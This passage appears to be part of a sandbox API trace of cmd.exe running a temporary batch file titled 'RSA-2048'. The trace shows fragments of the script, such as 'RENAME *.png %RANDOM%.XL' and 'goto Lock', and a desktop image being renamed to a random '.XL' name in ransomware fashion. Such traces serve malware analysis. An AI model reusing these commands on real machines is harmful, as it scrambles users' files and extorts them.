lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.044] SetFilePointer (in: hFile=0x74, lDistanceToMove=1645, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x66d [0039.044] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.044] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.044] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x66d [0039.044] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.044] GetFileType (hFile=0x74) returned 0x1 [0039.044] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x66d [0039.044] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.044] SetFilePointer (in: hFile=0x74, lDistanceToMove=1651, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x673 [0039.044] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":jpg\r\nock\r\n") returned 6 [0039.044] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.044] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x673 [0039.044] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.044] GetFileType (hFile=0x74) returned 0x1 [0039.045] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x673 [0039.045] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.045] SetFilePointer (in: hFile=0x74, lDistanceToMove=1653, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x675 [0039.045] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\npg\r\n") returned 2 [0039.045] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.045] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x675 [0039.045] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.045] GetFileType (hFile=0x74) returned 0x1 [0039.045] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x675 [0039.045] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.045] SetFilePointer (in: hFile=0x74, lDistanceToMove=1679, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x68f [0039.045] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="RENAME *.jpg %RANDOM%.XL\r\n") returned 26 [0039.045] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.045] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x68f [0039.045] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.045] GetFileType (hFile=0x74) returned 0x1 [0039.045] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x68f [0039.045] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.045] SetFilePointer (in: hFile=0x74, lDistanceToMove=1690, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x69a [0039.046] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="goto Lock\r\ng %RANDOM%.XL\r\n") returned 11 [0039.046] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.046] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x69a [0039.046] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.046] GetFileType (hFile=0x74) returned 0x1 [0039.046] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x69a [0039.046] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.046] SetFilePointer (in: hFile=0x74, lDistanceToMove=1692, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x69c [0039.046] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr="\r\nto Lock\r\n") returned 2 [0039.046] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.046] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x69c [0039.046] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.046] GetFileType (hFile=0x74) returned 0x1 [0039.046] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x69c [0039.046] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0x41ee60, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41ee60*=0x200, lpOverlapped=0x0) returned 1 [0039.046] SetFilePointer (in: hFile=0x74, lDistanceToMove=1698, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a2 [0039.046] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=6, lpWideCharStr=0x4a618640, cchWideChar=512 | out: lpWideCharStr=":png\r\nock\r\n") returned 6 [0039.046] _close (_FileHandle=3) returned 0 [0039.047] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.047] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.076] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.076] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.076] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.076] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.077] SetConsoleInputExeNameW () returned 0x1 [0039.077] GetConsoleOutputCP () returned 0x1b5 [0039.077] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.077] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.077] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.077] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.077] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.077] SetFilePointer (in: hFile=0x74, lDistanceToMove=1698, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a2 [0039.077] GetProcessHeap () returned 0x4e0000 [0039.077] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4e0880 | out: hHeap=0x4e0000) returned 1 [0039.077] GetProcessHeap () returned 0x4e0000 [0039.077] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5940 | out: hHeap=0x4e0000) returned 1 [0039.077] GetProcessHeap () returned 0x4e0000 [0039.078] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5920 | out: hHeap=0x4e0000) returned 1 [0039.078] GetProcessHeap () returned 0x4e0000 [0039.078] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5900 | out: hHeap=0x4e0000) returned 1 [0039.078] GetProcessHeap () returned 0x4e0000 [0039.078] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4af8 | out: hHeap=0x4e0000) returned 1 [0039.078] GetProcessHeap () returned 0x4e0000 [0039.078] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58e0 | out: hHeap=0x4e0000) returned 1 [0039.078] GetProcessHeap () returned 0x4e0000 [0039.078] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58c0 | out: hHeap=0x4e0000) returned 1 [0039.078] GetProcessHeap () returned 0x4e0000 [0039.078] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f58a0 | out: hHeap=0x4e0000) returned 1 [0039.078] GetProcessHeap () returned 0x4e0000 [0039.078] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.078] GetProcessHeap () returned 0x4e0000 [0039.078] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.078] GetProcessHeap () returned 0x4e0000 [0039.078] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4518 | out: hHeap=0x4e0000) returned 1 [0039.078] GetProcessHeap () returned 0x4e0000 [0039.078] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.078] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.078] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6a2 [0039.078] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1f8b, lpOverlapped=0x0) returned 1 [0039.078] SetFilePointer (in: hFile=0x74, lDistanceToMove=1700, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a4 [0039.078] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=2, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="\r\n EXIST *.png goto png\r\n\r\n") returned 2 [0039.079] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.079] GetFileType (hFile=0x74) returned 0x1 [0039.079] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.079] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6a4 [0039.079] GetProcessHeap () returned 0x4e0000 [0039.079] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.079] GetProcessHeap () returned 0x4e0000 [0039.079] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.079] _tell (_FileHandle=3) returned 1700 [0039.079] _close (_FileHandle=3) returned 0 [0039.079] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.079] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.079] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.079] SetFilePointer (in: hFile=0x74, lDistanceToMove=1700, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6a4 [0039.080] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.080] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6a4 [0039.080] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1f89, lpOverlapped=0x0) returned 1 [0039.080] SetFilePointer (in: hFile=0x74, lDistanceToMove=1726, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6be [0039.080] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=26, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="RENAME *.png %RANDOM%.XL\r\n\n") returned 26 [0039.080] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.080] GetFileType (hFile=0x74) returned 0x1 [0039.080] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.080] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6be [0039.080] GetProcessHeap () returned 0x4e0000 [0039.080] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.080] GetProcessHeap () returned 0x4e0000 [0039.080] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x4008) returned 0x5078b8 [0039.080] GetProcessHeap () returned 0x4e0000 [0039.080] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x16) returned 0x4f5880 [0039.080] GetEnvironmentVariableW (in: lpName="RANDOM", lpBuffer=0x4a610640, nSize=0x2000 | out: lpBuffer="") returned 0x0 [0039.080] _wcsicmp (_String1="RANDOM", _String2="CD") returned 15 [0039.080] _wcsicmp (_String1="RANDOM", _String2="ERRORLEVEL") returned 13 [0039.080] _wcsicmp (_String1="RANDOM", _String2="CMDEXTVERSION") returned 15 [0039.080] _wcsicmp (_String1="RANDOM", _String2="CMDCMDLINE") returned 15 [0039.080] _wcsicmp (_String1="RANDOM", _String2="DATE") returned 14 [0039.081] _wcsicmp (_String1="RANDOM", _String2="TIME") returned -2 [0039.081] _wcsicmp (_String1="RANDOM", _String2="RANDOM") returned 0 [0039.081] rand () returned 11484 [0039.081] _vsnwprintf (in: _Buffer=0x4a610640, _BufferCount=0x1fff, _Format="%d", _ArgList=0x41f464 | out: _Buffer="11484") returned 5 [0039.081] GetProcessHeap () returned 0x4e0000 [0039.081] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.081] GetProcessHeap () returned 0x4e0000 [0039.081] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5078b8 | out: hHeap=0x4e0000) returned 1 [0039.081] GetProcessHeap () returned 0x4e0000 [0039.081] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.081] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.081] GetProcessHeap () returned 0x4e0000 [0039.081] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x16) returned 0x4f5880 [0039.081] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x28) returned 0x4f6080 [0039.081] _tell (_FileHandle=3) returned 1726 [0039.082] _close (_FileHandle=3) returned 0 [0039.082] _wcsicmp (_String1="RENAME", _String2="DIR") returned 14 [0039.082] _wcsicmp (_String1="RENAME", _String2="ERASE") returned 13 [0039.082] _wcsicmp (_String1="RENAME", _String2="DEL") returned 14 [0039.082] _wcsicmp (_String1="RENAME", _String2="TYPE") returned -2 [0039.082] _wcsicmp (_String1="RENAME", _String2="COPY") returned 15 [0039.082] _wcsicmp (_String1="RENAME", _String2="CD") returned 15 [0039.082] _wcsicmp (_String1="RENAME", _String2="CHDIR") returned 15 [0039.082] _wcsicmp (_String1="RENAME", _String2="RENAME") returned 0 [0039.082] GetConsoleTitleW (in: lpConsoleTitle=0x41f104, nSize=0x104 | out: lpConsoleTitle="Administrator: RSA-2048") returned 0x18 [0039.083] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x48) returned 0x4f4a98 [0039.083] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f4a98, Size=0x28) returned 0x4f4a98 [0039.083] GetProcessHeap () returned 0x4e0000 [0039.083] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4a98) returned 0x28 [0039.083] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x36) returned 0x4f4ac8 [0039.083] GetProcessHeap () returned 0x4e0000 [0039.083] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x48) returned 0x4f4b08 [0039.083] RtlReAllocateHeap (Heap=0x4e0000, Flags=0x0, Ptr=0x4f4b08, Size=0x28) returned 0x4f4b08 [0039.083] GetProcessHeap () returned 0x4e0000 [0039.083] RtlSizeHeap (HeapHandle=0x4e0000, Flags=0x0, MemoryPointer=0x4f4b08) returned 0x28 [0039.083] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x2c) returned 0x4f4b38 [0039.083] GetProcessHeap () returned 0x4e0000 [0039.083] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x258) returned 0x4f6868 [0039.083] _wcsicmp (_String1="*.png", _String2=".") returned -4 [0039.083] _wcsicmp (_String1="*.png", _String2="..") returned -4 [0039.083] GetFileAttributesW (lpFileName="*.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\*.png")) returned 0xffffffff [0039.083] GetLastError () returned 0x7b [0039.084] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x210) returned 0x4f6ac8 [0039.084] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4f6ad0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0039.084] GetFullPathNameW (in: lpFileName="*.png", nBufferLength=0x104, lpBuffer=0x41e868, lpFilePart=0x41e850 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.png", lpFilePart=0x41e850*="*.png") returned 0x2b [0039.084] SetErrorMode (uMode=0x0) returned 0x1 [0039.084] GetProcessHeap () returned 0x4e0000 [0039.084] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x258) returned 0x4f6ce0 [0039.084] _wcsicmp (_String1="*.png", _String2=".") returned -4 [0039.084] _wcsicmp (_String1="*.png", _String2="..") returned -4 [0039.084] GetFileAttributesW (lpFileName="*.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\*.png")) returned 0xffffffff [0039.084] GetLastError () returned 0x7b [0039.084] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\*.png", fInfoLevelId=0x1, lpFindFileData=0x4f6870, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x4f6870) returned 0x4f4b70 [0039.085] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xQgkXBIV9.png" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xqgkxbiv9.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\11484.XL" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\11484.xl")) returned 1 [0039.086] FindNextFileW (in: hFindFile=0x4f4b70, lpFindFileData=0x4f6870 | out: lpFindFileData=0x4f6870*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8535c070, ftCreationTime.dwHighDateTime=0x1d5d8aa, ftLastAccessTime.dwLowDateTime=0x7858b270, ftLastAccessTime.dwHighDateTime=0x1d5db90, ftLastWriteTime.dwLowDateTime=0x7858b270, ftLastWriteTime.dwHighDateTime=0x1d5db90, nFileSizeHigh=0x0, nFileSizeLow=0x127cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="xQgkXBIV9.png", cAlternateFileName="")) returned 0 [0039.086] GetLastError () returned 0x12 [0039.086] FindClose (in: hFindFile=0x4f4b70 | out: hFindFile=0x4f4b70) returned 1 [0039.086] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.086] SetConsoleMode (hConsoleHandle=0x7, dwMode=0x3) returned 1 [0039.086] _get_osfhandle (_FileHandle=1) returned 0x7 [0039.086] GetConsoleMode (in: hConsoleHandle=0x7, lpMode=0x4a6041ac | out: lpMode=0x4a6041ac) returned 1 [0039.086] _get_osfhandle (_FileHandle=0) returned 0x3 [0039.087] GetConsoleMode (in: hConsoleHandle=0x3, lpMode=0x4a6041b0 | out: lpMode=0x4a6041b0) returned 1 [0039.087] SetConsoleInputExeNameW () returned 0x1 [0039.087] GetConsoleOutputCP () returned 0x1b5 [0039.087] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a604260 | out: lpCPInfo=0x4a604260) returned 1 [0039.087] SetThreadUILanguage (LangId=0x0) returned 0x409 [0039.087] CreateFileW (lpFileName="C:\\Users\\5P5NRG~1\\AppData\\Local\\Temp\\CAS5AY8X.bat" (normalized: "c:\\users\\5p5nrg~1\\appdata\\local\\temp\\cas5ay8x.bat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x41f53c, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x74 [0039.087] _open_osfhandle (_OSFileHandle=0x74, _Flags=8) returned 3 [0039.087] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.087] SetFilePointer (in: hFile=0x74, lDistanceToMove=1726, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6be [0039.088] GetProcessHeap () returned 0x4e0000 [0039.088] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f6ce0 | out: hHeap=0x4e0000) returned 1 [0039.088] GetProcessHeap () returned 0x4e0000 [0039.088] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f6ac8 | out: hHeap=0x4e0000) returned 1 [0039.088] GetProcessHeap () returned 0x4e0000 [0039.088] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f6868 | out: hHeap=0x4e0000) returned 1 [0039.088] GetProcessHeap () returned 0x4e0000 [0039.088] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b38 | out: hHeap=0x4e0000) returned 1 [0039.088] GetProcessHeap () returned 0x4e0000 [0039.088] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4b08 | out: hHeap=0x4e0000) returned 1 [0039.088] GetProcessHeap () returned 0x4e0000 [0039.088] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4ac8 | out: hHeap=0x4e0000) returned 1 [0039.088] GetProcessHeap () returned 0x4e0000 [0039.088] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a98 | out: hHeap=0x4e0000) returned 1 [0039.088] GetProcessHeap () returned 0x4e0000 [0039.088] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f6080 | out: hHeap=0x4e0000) returned 1 [0039.088] GetProcessHeap () returned 0x4e0000 [0039.088] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f5880 | out: hHeap=0x4e0000) returned 1 [0039.088] GetProcessHeap () returned 0x4e0000 [0039.088] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x4f4a38 | out: hHeap=0x4e0000) returned 1 [0039.088] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.088] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6be [0039.088] ReadFile (in: hFile=0x74, lpBuffer=0x4a606640, nNumberOfBytesToRead=0x1fff, lpNumberOfBytesRead=0x41f520, lpOverlapped=0x0 | out: lpBuffer=0x4a606640*, lpNumberOfBytesRead=0x41f520*=0x1f6f, lpOverlapped=0x0) returned 1 [0039.089] SetFilePointer (in: hFile=0x74, lDistanceToMove=1737, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x6c9 [0039.089] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a606640, cbMultiByte=11, lpWideCharStr=0x4a60c640, cchWideChar=8191 | out: lpWideCharStr="goto Lock\r\ng %RANDOM%.XL\r\n\n") returned 11 [0039.089] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.089] GetFileType (hFile=0x74) returned 0x1 [0039.089] _get_osfhandle (_FileHandle=3) returned 0x74 [0039.089] SetFilePointer (in: hFile=0x74, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x6c9 [0039.089] GetProcessHeap () returned 0x4e0000 [0039.089] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x400a) returned 0x5038a0 [0039.089] GetProcessHeap () returned 0x4e0000 [0039.089] HeapFree (in: hHeap=0x4e0000, dwFlags=0x0, lpMem=0x5038a0 | out: hHeap=0x4e0000) returned 1 [0039.089] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x58) returned 0x4f4a38 [0039.089] GetProcessHeap () returned 0x4e0000 [0039.089] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x12) returned 0x4f5880 [0039.089] RtlAllocateHeap (HeapHandle=0x4e0000, Flags=0x8, Size=0x14) returned 0x4f58a0 [0039.090] _tell (_FileHandle=3) returned 1737 [0039.090] _close (_FileHandle=3) returned 0 [0039.090] _wcsicmp (_String1="goto", _String2="DIR") returned 3 [0039.090] _wcsicmp (_String1="goto", _String2="ERASE") returned 2 [0039.090] _wcsicmp (_String1="goto", _String2="DEL") returned 3 [0039.090] _wcsicmp (_String1="goto", _String2="TYPE") returned -13 [0039.090] _wcsicmp (_String1="goto", _String2="COPY") returned 4 [0039.090] _wcsicmp (_String1="goto", _String2="CD") returned 4 [0039.090] _wcsicmp (_String1="goto", _String2="CHDIR") returned 4 [0039.090] _wcsicmp (_String1="goto", _String2="RENAME") returned -11 [0039.090] _wcsicmp (_String1="goto", _String2="REN") returned -11 [0039.090] _wcsicmp (_String1="goto", _String2="ECHO") returned 2 [0039.090] _wcsicmp (_String1="goto", _String2="SET") returned -12 [0039.090] _wcsicmp (_String1="goto", 